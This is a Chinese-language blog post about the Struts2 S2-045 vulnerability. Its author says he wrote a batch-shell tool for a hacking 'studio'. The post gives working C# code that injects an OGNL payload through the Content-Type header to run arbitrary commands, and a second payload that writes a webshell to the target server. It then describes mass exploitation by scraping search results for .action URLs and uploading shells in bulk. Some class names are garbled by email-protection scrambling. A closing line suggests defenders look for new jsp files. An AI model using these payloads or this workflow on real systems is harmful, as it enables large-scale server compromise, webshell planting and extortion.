Strtus2 S2-045漏洞

Posted 2020-09-04

S2-045漏洞已经爆发几天了，但还很多网址都存在此漏洞，很多金融类网站也收到了保护费通知、、、唉，收保护费少，报警无效！只能酌情处理了！做黑产的，还是少做为秒，常在河边站哪有不湿鞋，劝各位早日金盆洗手！

 

至于漏洞原理我就不多讲了！为啥？？？ 因为我也没研究，我也不懂！！！

 

有工作室找我写了一个批量shell的工具，我只是简单的放出一部分代码。使用的C#

public static string ExecuteStruts2(string url,string cookie,string cmd)
        {
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3;
            HttpWebRequest request = null;
            try
            {
                request = (HttpWebRequest)WebRequest.Create(url);
                request.Method = "GET";
                request.AllowAutoRedirect = false;
                if (!string.IsNullOrEmpty(cookie)) {
                    request.Headers.Add("Cookie",cookie);
                }
                
                request.ContentType = "%{(#nike=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘"+cmd+"‘).(#iswin=(@[email protected](‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}";
                request.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/56.0.2924.87 Safari/537.36";
                request.Timeout = 50000;
                request.ServicePoint.ConnectionLimit = 500;
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                string result = "";
                string encoding = "gb2312";
                if (!string.IsNullOrEmpty(response.CharacterSet)) {
                    encoding = response.CharacterSet;
                }
                Stream myResponseStream = response.GetResponseStream();
                StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding(encoding));
                result = myStreamReader.ReadToEnd();
                myStreamReader.Close();
                myResponseStream.Close();
                response.Close();
                request.Abort();
                return result;
                
            }
            catch(Exception ex)
            {
                request.Abort();
                return "执行错误："+ex.Message;
            }

        }

　　这个是执行命令的，比如创建用户，提权，然后可以远程或者传马

 

还可以上传webshell，只要把ContentType修改成：

%{(#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#luan=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘).getSession().getServletContext().getRealPath(‘"+path+ "‘)).(#shell=‘我是shell‘).(new java.io.BufferedWriter(new java.io.FileWriter(#path+‘/shell文件名‘).append(#shell)).close()).(#cmd=‘echo path:‘+#path).(#iswin=(@[email protected](‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

 

还有其他玩法可以自行修改。然后就是inurl:****.action，然后爬搜索引擎，抓url，批量检测，批量上传shell。

有用struts2的赶紧看看最近几天有没有生成的jsp,jspx等的新文件吧，至于修复，网上很多办法，还有第三方工具等